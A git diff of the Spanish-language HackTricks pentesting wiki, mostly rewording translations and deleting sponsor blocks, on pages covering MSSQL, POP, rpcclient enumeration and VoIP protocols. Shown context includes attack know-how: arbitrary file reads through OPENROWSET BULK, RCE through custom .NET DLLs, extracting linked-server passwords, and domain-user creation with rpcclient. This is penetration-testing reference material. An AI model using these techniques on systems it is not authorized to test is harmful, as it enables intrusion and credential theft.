de texto completo y usuarios. * **Esquema** – Incluye tablas, vistas, procedimientos, funciones, sinónimos, etc. 2. **Permiso:** Asociado con los securables de SQL Server, permisos como ALTER, CONTROL y CREATE pueden ser otorgados a un principal. La gestión de permisos ocurre en dos niveles: * **Nivel de Servidor** usando inicios de sesión -* **Nivel de Base de Datos** usando usuarios +* **Nivel de Base de datos** usando usuarios 3. **Principal:** Este término se refiere a la entidad a la que se le otorga permiso para un securable. Los principales incluyen principalmente inicios de sesión y usuarios de base de datos. El control sobre el acceso a los securables se ejerce a través de la concesión o denegación de permisos o incluyendo inicios de sesión y usuarios en roles equipados con derechos de acceso. ```sql # Show all different securables names @@ -288,7 +280,7 @@ Por defecto, `MSSQL` permite la lectura de archivos **en cualquier archivo del s ```sql SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents ``` -Sin embargo, la opción **`BULK`** requiere el permiso **`ADMINISTER BULK OPERATIONS`** o el permiso **`ADMINISTER DATABASE BULK OPERATIONS`**. +Sin embargo, la opción **`BULK`** requiere el permiso **`ADMINISTER BULK OPERATIONS`** o **`ADMINISTER DATABASE BULK OPERATIONS`**. ```sql # Check if you have it SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS'; @@ -348,7 +340,7 @@ For **más ejemplos** consulta la [**fuente original**](https://blog.waynesheffi ### RCE con función definida por el usuario de MSSQL - SQLHttp -Es posible **cargar un .NET dll dentro de MSSQL con funciones personalizadas**. Sin embargo, **requiere acceso `dbo`** por lo que necesitas una conexión con la base de datos **como `sa` o un rol de Administrador**. +Es posible **cargar un .NET dll dentro de MSSQL con funciones personalizadas**. Esto, sin embargo, **requiere acceso `dbo`** por lo que necesitas una conexión con la base de datos **como `sa` o un rol de Administrador**. [**Sigue este enlace**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) para ver un ejemplo. @@ -456,9 +448,9 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse ## Extracción de contraseñas de Servidores Vinculados de SQL Server -Un atacante puede extraer las contraseñas de los Servidores Vinculados de SQL Server de las Instancias SQL y obtenerlas en texto claro, otorgando al atacante contraseñas que pueden ser utilizadas para adquirir un mayor control sobre el objetivo. El script para extraer y desencriptar las contraseñas almacenadas para los Servidores Vinculados se puede encontrar [aquí](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords) +Un atacante puede extraer las contraseñas de los Servidores Vinculados de SQL Server de las Instancias SQL y obtenerlas en texto claro, otorgando al atacante contraseñas que pueden ser utilizadas para adquirir un mayor control sobre el objetivo. El script para extraer y descifrar las contraseñas almacenadas para los Servidores Vinculados se puede encontrar [aquí](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords) -Se deben realizar algunos requisitos y configuraciones para que esta explotación funcione. Primero que todo, debes tener derechos de Administrador en la máquina, o la capacidad de gestionar las Configuraciones de SQL Server. +Se deben realizar algunos requisitos y configuraciones para que esta explotación funcione. Primero que nada, debes tener derechos de Administrador en la máquina, o la capacidad de gestionar las Configuraciones de SQL Server. Después de validar tus permisos, necesitas configurar tres cosas, que son las siguientes: @@ -466,11 +458,11 @@ Después de validar tus permisos, necesitas configurar tres cosas, que son las s 2. Agregar un parámetro de Inicio, en este caso, se añadirá un flag de traza, que es -T7806. 3. Habilitar la conexión remota de administrador. -Para automatizar estas configuraciones, [este repositorio](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) tiene los scripts necesarios. Además de tener un script de powershell para cada paso de la configuración, el repositorio también tiene un script completo que combina los scripts de configuración y la extracción y desencriptación de las contraseñas. +Para automatizar estas configuraciones, [este repositorio](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) tiene los scripts necesarios. Además de tener un script de powershell para cada paso de la configuración, el repositorio también tiene un script completo que combina los scripts de configuración y la extracción y descifrado de las contraseñas. -Para más información, consulta los siguientes enlaces sobre este ataque: [Desencriptando Contraseñas de Servidores Vinculados de Base de Datos MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) +Para más información, consulta los siguientes enlaces sobre este ataque: [Descifrando Contraseñas de Servidores Vinculados de Base de Datos MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) -[Solucionando Problemas de la Conexión de Administrador Dedicado de SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/) +[Solucionando Problemas con la Conexión de Administrador Dedicado de SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/) ## Escalación de Privilegios Locales @@ -497,16 +489,10 @@ Probablemente podrás **escalar a Administrador** siguiendo una de estas 2 pági * [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/) * [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/) * [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/) -* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) **Try Hard Security Group** +* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) * [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/) -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - -## Comandos Automáticos de HackTricks +## HackTricks Comandos Automáticos ``` Protocol_Name: MSSQL #Protocol Abbreviation if there is one. Port_Number: 1433 #Comma separated if there is more than one. diff --git a/network-services-pentesting/pentesting-pop.md b/network-services-pentesting/pentesting-pop.md index 8c8985384..e52721e1e 100644 --- a/network-services-pentesting/pentesting-pop.md +++ b/network-services-pentesting/pentesting-pop.md @@ -15,26 +15,19 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** ## Información Básica -**Post Office Protocol (POP)** se describe como un protocolo dentro del ámbito de las redes informáticas y de Internet, que se utiliza para la extracción y **recuperación de correos electrónicos de un servidor de correo remoto**, haciéndolos accesibles en el dispositivo local. Posicionado dentro de la capa de aplicación del modelo OSI, este protocolo permite a los usuarios obtener y recibir correos electrónicos. La operación de los **clientes POP** generalmente implica establecer una conexión con el servidor de correo, descargar todos los mensajes, almacenar estos mensajes localmente en el sistema del cliente y posteriormente eliminarlos del servidor. Aunque hay tres iteraciones de este protocolo, **POP3** se destaca como la versión más empleada. +**Post Office Protocol (POP)** se describe como un protocolo dentro del ámbito de las redes informáticas y de Internet, que se utiliza para la extracción y **recuperación de correos electrónicos de un servidor de correo remoto**, haciéndolos accesibles en el dispositivo local. Posicionado dentro de la capa de aplicación del modelo OSI, este protocolo permite a los usuarios obtener y recibir correos electrónicos. La operación de los **clientes POP** típicamente implica establecer una conexión con el servidor de correo, descargar todos los mensajes, almacenar estos mensajes localmente en el sistema del cliente y posteriormente eliminarlos del servidor. Aunque hay tres iteraciones de este protocolo, **POP3** se destaca como la versión más empleada. -**Puertos predeterminados:** 110, 995(ssl) +**Puertos por defecto:** 110, 995(ssl) ``` PORT STATE SERVICE 110/tcp open pop3 ``` ## Enumeración -### Captura de Banners +### Captura de Banner ```bash nc -nv 110 openssl s_client -connect :995 -crlf -quiet @@ -104,13 +97,8 @@ From [https://academy.hackthebox.com/module/112/section/1073](https://academy.ha | `auth_verbose_passwords` | Las contraseñas utilizadas para la autenticación se registran y también pueden ser truncadas. | | `auth_anonymous_username` | Esto especifica el nombre de usuario que se utilizará al iniciar sesión con el mecanismo ANONYMOUS SASL. | -**Try Hard Security Group** -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -## Comandos Automáticos de HackTricks +## HackTricks Comandos Automáticos ``` Protocol_Name: POP #Protocol Abbreviation if there is one. Port_Number: 110 #Comma separated if there is more than one. diff --git a/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md b/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md index f561740cf..0f4ba19a1 100644 --- a/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md +++ b/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md @@ -15,14 +15,6 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ### Overview of Relative Identifiers (RID) and Security Identifiers (SID) **Los Identificadores Relativos (RID)** y **los Identificadores de Seguridad (SID)** son componentes clave en los sistemas operativos Windows para identificar y gestionar de manera única objetos, como usuarios y grupos, dentro de un dominio de red. @@ -35,7 +27,7 @@ Por ejemplo, un usuario llamado `pepe` podría tener un identificador único que ### **Enumeration with rpcclient** -La utilidad **`rpcclient`** de Samba se utiliza para interactuar con **puntos finales RPC a través de tuberías con nombre**. A continuación, se presentan comandos que se pueden emitir a las interfaces SAMR, LSARPC y LSARPC-DS después de que se haya **establecido una sesión SMB**, a menudo necesitando credenciales. +La utilidad **`rpcclient`** de Samba se utiliza para interactuar con **puntos finales RPC a través de tuberías con nombre**. A continuación, se presentan comandos que se pueden emitir a las interfaces SAMR, LSARPC y LSARPC-DS después de que se **establece una sesión SMB**, a menudo necesitando credenciales. #### Server Information @@ -94,33 +86,27 @@ done | enumdomusers | Enumerar usuarios del dominio | | | enumdomgroups | Enumerar grupos del dominio | | | createdomuser | Crear un usuario de dominio | | -| deletedomuser | Eliminar un usuario de dominio | | +| deletedomuser | Eliminar un usuario de dominio | | | lookupnames | LSARPC | Buscar nombres de usuario a valores SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) | -| lookupsids | Buscar SIDs a nombres de usuario (ciclado de RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9)) | | +| lookupsids | Buscar SIDs a nombres de usuario (ciclado RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9)) | | | lsaaddacctrights | Agregar derechos a una cuenta de usuario | | -| lsaremoveacctrights | Eliminar derechos de una cuenta de usuario | | +| lsaremoveacctrights | Eliminar derechos de una cuenta de usuario | | | dsroledominfo | LSARPC-DS | Obtener información del dominio principal | | dsenumdomtrusts | Enumerar dominios de confianza dentro de un bosque AD | | Para **entender** mejor cómo funcionan las herramientas _**samrdump**_ **y** _**rpcdump**_ deberías leer [**Pentesting MSRPC**](../135-pentesting-msrpc.md). -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} -Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoya a HackTricks +Support HackTricks -* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} diff --git a/network-services-pentesting/pentesting-voip/basic-voip-protocols/README.md b/network-services-pentesting/pentesting-voip/basic-voip-protocols/README.md index ae633d2f4..ab9d96c0a 100644 --- a/network-services-pentesting/pentesting-voip/basic-voip-protocols/README.md +++ b/network-services-pentesting/pentesting-voip/basic-voip-protocols/README.md @@ -9,32 +9,18 @@ Aprende y practica Hacking en GCP: Apoya a HackTricks * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos en** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
{% endhint %} {% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**. - -Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información. - -Puedes revisar su sitio web y probar su motor de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} - -*** - ## Protocolos de Señalización ### SIP (Protocolo de Inicio de Sesión) -Este es el estándar de la industria, para más información revisa: +Este es el estándar de la industria, para más información consulta: {% content-ref url="sip-session-initiation-protocol.md" %} [sip-session-initiation-protocol.md](sip-session-initiation-protocol.md) @@ -42,13 +28,13 @@ Este es el estándar de la industria, para más información revisa: ### MGCP (Protocolo de Control de Puerta de Medios) -MGCP (Protocolo de Control de Puerta de Medios) es un **protocolo de señalización** y **control de llamadas** descrito en el RFC 3435. Opera en una arquitectura centralizada, que consiste en tres componentes principales: +MGCP (Protocolo de Control de Puerta de Medios) es un **protocolo de señalización** y **control de llamadas** descrito en el RFC 3435. Opera en una arquitectura centralizada, que consta de tres componentes principales: 1. **Agente de Llamadas o Controlador de Puerta de Medios (MGC)**: La puerta maestra en la arquitectura MGCP es responsable de **gestionar y controlar las puertas de medios**. Maneja los procesos de configuración, modificación y terminación de llamadas. El MGC se comunica con las puertas de medios utilizando el protocolo MGCP. -2. **Puertas de Medios (MGs) o Puertas Esclavas**: Estos dispositivos **convierten flujos de medios digitales entre diferentes redes**, como la telefonía tradicional conmutada por circuitos y redes IP conmutadas por paquetes. Son gestionados por el MGC y ejecutan comandos recibidos de él. Las puertas de medios pueden incluir funciones como transcodificación, empaquetado y cancelación de eco. +2. **Puertas de Medios (MGs) o Puertas Esclavas**: Estos dispositivos **convierte flujos de medios digitales entre diferentes redes**, como la telefonía tradicional conmutada por circuitos y redes IP conmutadas por paquetes. Son gestionados por el MGC y ejecutan comandos recibidos de él. Las puertas de medios pueden incluir funciones como transcodificación, empaquetado y cancelación de eco. 3. **Puertas de Señalización (SGs)**: Estas puertas son responsables de **convertir mensajes de señalización entre diferentes redes**, permitiendo una comunicación fluida entre sistemas de telefonía tradicionales (por ejemplo, SS7) y redes basadas en IP (por ejemplo, SIP o H.323). Las puertas de señalización son cruciales para la interoperabilidad y para asegurar que la información de control de llamadas se comunique adecuadamente entre las diferentes redes. -En resumen, MGCP centraliza la lógica de control de llamadas en el agente de llamadas, lo que simplifica la gestión de puertas de medios y de señalización, proporcionando mejor escalabilidad, fiabilidad y eficiencia en las redes de telecomunicaciones. +En resumen, MGCP centraliza la lógica de control de llamadas en el agente de llamadas, lo que simplifica la gestión de las puertas de medios y de señalización, proporcionando mejor escalabilidad, fiabilidad y eficiencia en las redes de telecomunicaciones. ### SCCP (Protocolo de Control de Cliente Delgado) @@ -62,7 +48,7 @@ Los principales componentes de un sistema basado en SCCP son: 2. **Puntos Finales SCCP**: Estos son dispositivos como teléfonos IP, unidades de videoconferencia u otros puntos finales de voz y video de Cisco que utilizan SCCP para comunicarse con el servidor de control de llamadas. Se registran con el servidor, envían y reciben mensajes de señalización, y siguen las instrucciones proporcionadas por el servidor de control de llamadas para el manejo de llamadas. 3. **Puertas**: Estos dispositivos, como puertas de voz o puertas de medios, son responsables de convertir flujos de medios entre diferentes redes, como la telefonía tradicional conmutada por circuitos y redes IP conmutadas por paquetes. También pueden incluir funcionalidad adicional, como transcodificación o cancelación de eco. -SCCP ofrece un método de comunicación simple y eficiente entre los servidores de control de llamadas de Cisco y los dispositivos finales. Sin embargo, vale la pena señalar que **SCCP es un protocolo propietario**, lo que puede limitar la interoperabilidad con sistemas no Cisco. En tales casos, otros protocolos estándar de VoIP como SIP pueden ser más adecuados. +SCCP ofrece un método de comunicación simple y eficiente entre los servidores de control de llamadas de Cisco y los dispositivos finales. Sin embargo, vale la pena señalar que **SCCP es un protocolo propietario**, lo que puede limitar la interoperabilidad con sistemas no Cisco. En tales casos, otros protocolos de VoIP estándar como SIP pueden ser más adecuados. ### H.323 @@ -72,8 +58,8 @@ Algunos componentes clave del conjunto H.323 incluyen: 1. **Terminales**: Estos son dispositivos finales, como teléfonos IP, sistemas de videoconferencia o aplicaciones de software, que soportan H.323 y pueden participar en sesiones de comunicación multimedia. 2. **Puertas**: Estos dispositivos convierten flujos de medios entre diferentes redes, como la telefonía tradicional conmutada por circuitos y redes IP conmutadas por paquetes, permitiendo la interoperabilidad entre H.323 y otros sistemas de comunicación. También pueden incluir funcionalidad adicional, como transcodificación o cancelación de eco. -3. **Gatekeepers**: Estos son componentes opcionales que proporcionan servicios de control y gestión de llamadas en una red H.323. Realizan funciones como traducción de direcciones, gestión de ancho de banda y control de admisión, ayudando a gestionar y optimizar los recursos de la red. -4. **Unidades de Control Multipunto (MCUs)**: Estos dispositivos facilitan conferencias multipunto gestionando y mezclando flujos de medios de múltiples puntos finales. Las MCUs permiten características como control de diseño de video, conmutación activada por voz y presencia continua, haciendo posible albergar conferencias a gran escala con múltiples participantes. +3. **Controladores de Llamadas**: Estos son componentes opcionales que proporcionan servicios de control y gestión de llamadas en una red H.323. Realizan funciones como traducción de direcciones, gestión de ancho de banda y control de admisión, ayudando a gestionar y optimizar los recursos de la red. +4. **Unidades de Control Multipunto (MCUs)**: Estos dispositivos facilitan conferencias multipunto gestionando y mezclando flujos de medios de múltiples terminales. Las MCUs permiten características como control de diseño de video, conmutación activada por voz y presencia continua, haciendo posible albergar conferencias a gran escala con múltiples participantes. H.323 soporta una variedad de códecs de audio y video, así como otros servicios suplementarios como desvío de llamadas, transferencia de llamadas, retención de llamadas y espera de llamadas. A pesar de su amplia adopción en los primeros días de VoIP, H.323 ha sido gradualmente reemplazado por protocolos más modernos y flexibles como el **Protocolo de Inicio de Sesión (SIP)**, que ofrece mejor interoperabilidad y una implementación más sencilla. Sin embargo, H.323 sigue en uso en muchos sistemas heredados y continúa siendo soportado por varios proveedores de equipos. @@ -83,10 +69,10 @@ IAX (Inter-Asterisk eXchange) es un **protocolo de señalización y control de l IAX es conocido por su **simplicidad, eficiencia y facilidad de implementación**. Algunas características clave de IAX incluyen: -1. **Puerto UDP Único**: IAX utiliza un único puerto UDP (4569) para tanto la señalización como el tráfico de medios, lo que simplifica el paso a través de firewalls y NAT, facilitando su implementación en diversos entornos de red. +1. **Puerto UDP Único**: IAX utiliza un único puerto UDP (4569) tanto para señalización como para tráfico de medios, lo que simplifica el paso a través de firewalls y NAT, facilitando su implementación en diversos entornos de red. 2. **Protocolo Binario**: A diferencia de los protocolos basados en texto como SIP, IAX es un protocolo binario, lo que reduce su consumo de ancho de banda y lo hace más eficiente para transmitir datos de señalización y medios. 3. **Trunking**: IAX soporta trunking, lo que permite combinar múltiples llamadas en una única conexión de red, reduciendo la sobrecarga y mejorando la utilización del ancho de banda. -4. **Cifrado Nativo**: IAX tiene soporte incorporado para cifrado, utilizando métodos como RSA para el intercambio de claves y AES para el cifrado de medios, proporcionando comunicación segura entre puntos finales. +4. **Cifrado Nativo**: IAX tiene soporte incorporado para cifrado, utilizando métodos como RSA para el intercambio de claves y AES para el cifrado de medios, proporcionando comunicación segura entre los puntos finales. 5. **Comunicación Peer-to-Peer**: IAX puede ser utilizado para comunicación directa entre puntos finales sin la necesidad de un servidor central, permitiendo un enrutamiento de llamadas más simple y eficiente. A pesar de sus beneficios, IAX tiene algunas limitaciones, como su enfoque principal en el ecosistema Asterisk y una adopción menos generalizada en comparación con protocolos más establecidos como SIP. Como resultado, IAX podría no ser la mejor opción para la interoperabilidad con sistemas o dispositivos no Asterisk. Sin embargo, para aquellos que trabajan dentro del entorno Asterisk, IAX ofrece una solución robusta y eficiente para la comunicación VoIP. @@ -95,7 +81,7 @@ A pesar de sus beneficios, IAX tiene algunas limitaciones, como su enfoque princ ### SDP (Protocolo de Descripción de Sesión) -SDP (Protocolo de Descripción de Sesión) es un **formato basado en texto** utilizado para describir las características de sesiones multimedia, como voz, video o conferencias de datos, sobre redes IP. Fue desarrollado por el **Grupo de Trabajo de Ingeniería de Internet (IETF)** y está definido en **RFC 4566**. SDP no maneja la transmisión real de medios o el establecimiento de sesiones, sino que se utiliza junto con otros protocolos de señalización, como **SIP (Protocolo de Inicio de Sesión)**, para negociar e intercambiar información sobre los flujos de medios y sus atributos. +SDP (Protocolo de Descripción de Sesión) es un **formato basado en texto** utilizado para describir las características de sesiones multimedia, como voz, video o conferencias de datos, sobre redes IP. Fue desarrollado por la **Fuerza de Tarea de Ingeniería de Internet (IETF)** y está definido en **RFC 4566**. SDP no maneja la transmisión real de medios ni el establecimiento de sesiones, sino que se utiliza junto con otros protocolos de señalización, como **SIP (Protocolo de Inicio de Sesión)**, para negociar e intercambiar información sobre los flujos de medios y sus atributos. Algunos elementos clave de SDP incluyen: @@ -109,27 +95,32 @@ SDP se utiliza típicamente en el siguiente proceso: 1. Una parte iniciadora crea una descripción SDP de la sesión multimedia propuesta, incluyendo los detalles de los flujos de medios y sus atributos. 2. La descripción SDP se envía a la parte receptora, generalmente incrustada dentro de un mensaje de protocolo de señalización como SIP o RTSP. 3. La parte receptora procesa la descripción SDP, y según sus capacidades, puede aceptar, rechazar o modificar la sesión propuesta. -4. La descripción SDP final se envía de vuelta a la parte iniciadora como parte del mensaje de protocolo de señalización, completando el proceso de negociación. +4. La descripción SDP final se envía de vuelta a la parte iniciadora como parte del mensaje del protocolo de señalización, completando el proceso de negociación. La simplicidad y flexibilidad de SDP lo convierten en un estándar ampliamente adoptado para describir sesiones multimedia en varios sistemas de comunicación, desempeñando un papel crucial en el establecimiento y gestión de sesiones multimedia en tiempo real sobre redes IP. ### RTP / RTCP / SRTP / ZRTP -1. **RTP (Protocolo de Transporte en Tiempo Real)**: RTP es un protocolo de red diseñado para la entrega de datos de audio y video, o de otros medios en tiempo real, sobre redes IP. Desarrollado por el **IETF** y definido en **RFC 3550**, RTP se utiliza comúnmente con protocolos de señalización como SIP y H.323 para habilitar la comunicación multimedia. RTP proporciona mecanismos para **sincronización**, **secuenciación** y **marcación de tiempo** de los flujos de medios, ayudando a asegurar una reproducción de medios fluida y oportuna. +1. **RTP (Protocolo de Transporte en Tiempo Real)**: RTP es un protocolo de red diseñado para la entrega de datos de audio y video, o de otros medios en tiempo real, sobre redes IP. Desarrollado por la **IETF** y definido en **RFC 3550**, RTP se utiliza comúnmente con protocolos de señalización como SIP y H.323 para habilitar la comunicación multimedia. RTP proporciona mecanismos para **sincronización**, **secuenciación** y **marcación de tiempo** de los flujos de medios, ayudando a asegurar una reproducción de medios fluida y oportuna. 2. **RTCP (Protocolo de Control de Transporte en Tiempo Real)**: RTCP es un protocolo complementario a RTP, utilizado para monitorear la calidad del servicio (QoS) y proporcionar retroalimentación sobre la transmisión de flujos de medios. Definido en el mismo **RFC 3550** que RTP, RTCP **intercambia periódicamente paquetes de control entre los participantes en una sesión RTP**. Comparte información como pérdida de paquetes, jitter y tiempo de ida y vuelta, lo que ayuda a diagnosticar y adaptarse a las condiciones de la red, mejorando la calidad general de los medios. -3. **SRTP (Protocolo de Transporte en Tiempo Real Seguro)**: SRTP es una extensión de RTP que proporciona **cifrado**, **autenticación de mensajes** y **protección contra repetición** para flujos de medios, asegurando la transmisión segura de datos de audio y video sensibles. Definido en **RFC 3711**, SRTP utiliza algoritmos criptográficos como AES para cifrado y HMAC-SHA1 para autenticación de mensajes. SRTP se utiliza a menudo en combinación con protocolos de señalización seguros como SIP sobre TLS para proporcionar seguridad de extremo a extremo en la comunicación multimedia. -4. **ZRTP (Protocolo de Transporte en Tiempo Real de Zimmermann)**: ZRTP es un protocolo de acuerdo de claves criptográficas que proporciona **cifrado de extremo a extremo** para flujos de medios RTP. Desarrollado por Phil Zimmermann, el creador de PGP, ZRTP está descrito en **RFC 6189**. A diferencia de SRTP, que depende de protocolos de señalización para el intercambio de claves, ZRTP está diseñado para funcionar independientemente del protocolo de señalización. Utiliza **intercambio de claves Diffie-Hellman** para establecer un secreto compartido entre las partes comunicantes, sin requerir confianza previa o una infraestructura de clave pública (PKI). ZRTP también incluye características como **Cadenas de Autenticación Cortas (SAS)** para proteger contra ataques de intermediarios. +3. **SRTP (Protocolo de Transporte en Tiempo Real Seguro)**: SRTP es una extensión de RTP que proporciona **cifrado**, **autenticación de mensajes** y **protección contra repetición** para los flujos de medios, asegurando la transmisión segura de datos de audio y video sensibles. Definido en **RFC 3711**, SRTP utiliza algoritmos criptográficos como AES para el cifrado y HMAC-SHA1 para la autenticación de mensajes. SRTP se utiliza a menudo en combinación con protocolos de señalización seguros como SIP sobre TLS para proporcionar seguridad de extremo a extremo en la comunicación multimedia. +4. **ZRTP (Protocolo de Transporte en Tiempo Real de Zimmermann)**: ZRTP es un protocolo de acuerdo de claves criptográficas que proporciona **cifrado de extremo a extremo** para los flujos de medios RTP. Desarrollado por Phil Zimmermann, el creador de PGP, ZRTP está descrito en **RFC 6189**. A diferencia de SRTP, que depende de protocolos de señalización para el intercambio de claves, ZRTP está diseñado para funcionar independientemente del protocolo de señalización. Utiliza **intercambio de claves Diffie-Hellman** para establecer un secreto compartido entre las partes comunicantes, sin requerir confianza previa o una infraestructura de clave pública (PKI). ZRTP también incluye características como **Cadenas de Autenticación Cortas (SAS)** para proteger contra ataques de intermediarios. -Estos protocolos desempeñan roles esenciales en **la entrega y seguridad de la comunicación multimedia en tiempo real sobre redes IP**. Mientras que RTP y RTCP manejan la transmisión real de medios y el monitoreo de calidad, SRTP y ZRTP aseguran que los medios transmitidos estén protegidos contra la escucha, manipulación y ataques de repetición. +Estos protocolos desempeñan roles esenciales en **la entrega y seguridad de la comunicación multimedia en tiempo real sobre redes IP**. Mientras que RTP y RTCP manejan la transmisión real de medios y el monitoreo de calidad, SRTP y ZRTP aseguran que los medios transmitidos estén protegidos contra la interceptación, manipulación y ataques de repetición. -### [WhiteIntel](https://whiteintel.io) +{% hint style="success" %} +Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) -
+
-[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**. +Apoya a HackTricks -Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información. +* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos en** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github. -Puedes revisar su sitio web y probar su motor de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} +
+{% endhint %} + +{% endhint %} diff --git a/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md index d2eddd910..2dae13fa4 100644 --- a/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md +++ b/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md @@ -15,19 +15,6 @@ Learn & practice GCP Hacking: {% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
